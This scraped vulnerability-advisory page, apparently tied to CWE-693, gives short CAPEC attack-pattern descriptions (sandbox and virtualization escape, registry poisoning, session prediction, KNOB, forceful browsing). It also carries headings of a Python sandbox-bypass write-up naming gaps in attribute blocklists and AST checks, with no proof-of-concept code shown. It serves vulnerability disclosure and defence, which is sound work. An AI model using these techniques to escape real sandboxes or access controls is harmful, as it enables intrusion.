An adversary gains access to an application, service, or device with the privileges of an authorized or privileged user by escaping the confines of a virtualized environment. The adversary is then able to access resources or execute unauthorized code within the host environment, generally with the privileges of the user running the virtualized process. Successfully executing an attack of this type is often the first step in executing more complex attacks.

CAPEC-51: Poison Web Service Registry

SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.

CAPEC-59: Session Credential Falsification through Prediction

This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

CAPEC-65: Sniff Application Code

An adversary passively sniffs network communications and captures application code bound for an authorized client. Once obtained, they can use it as-is, or through reverse-engineering glean sensitive information or exploit the trust relationship between the client and server. Such code may belong to a dynamic update to the client, a patch being applied to a client component or any such interaction where the client is authorized to communicate with the server.

CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)

An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.

CAPEC-74: Manipulating State

The adversary modifies state information maintained by the target software or causes a state transition in hardware. If successful, the target will use this tainted state and execute in an unintended manner.

State management is an important function within a software application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart. Manipulating user state can be employed by an adversary to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits.

If there is a hardware logic error in a finite state machine, the adversary can use this to put the system in an undefined state which could cause a denial of service or exposure of secure data.

CAPEC-87: Forceful Browsing

An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.

← Back to the CWE list

CWE-693

Protection Mechanism Failure

Summary

Severity

Root Cause

Gap 1: __self__ missing from _blocked_attrs

Gap 2: vars not blocked as callable or attribute

Gap 3: AST Call check only catches ast.Name nodes

Gap 4: Runtime string construction bypasses string constant check

Proof of Concept

Step-by-step bypass analysis:

Impact

Affected

Remediation

Immediate fix

Additional hardening

Fundamental recommendation

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

CAPEC-107: Cross Site Tracing

CAPEC-127: Directory Indexing

CAPEC-17: Using Malicious Files

CAPEC-20: Encryption Brute Forcing

CAPEC-22: Exploiting Trust in Client

CAPEC-237: Escaping a Sandbox by Calling Code in Another Language

CAPEC-36: Using Unpublished Interfaces or Functionality

CAPEC-477: Signature Spoofing by Mixing Signed and Unsigned Content

CAPEC-480: Escaping Virtualization

CAPEC-51: Poison Web Service Registry

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

CAPEC-59: Session Credential Falsification through Prediction

CAPEC-65: Sniff Application Code

CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)

CAPEC-74: Manipulating State

CAPEC-87: Forceful Browsing

Gap 1: `self` missing from `_blocked_attrs`

Gap 2: `vars` not blocked as callable or attribute

Gap 3: AST `Call` check only catches `ast.Name` nodes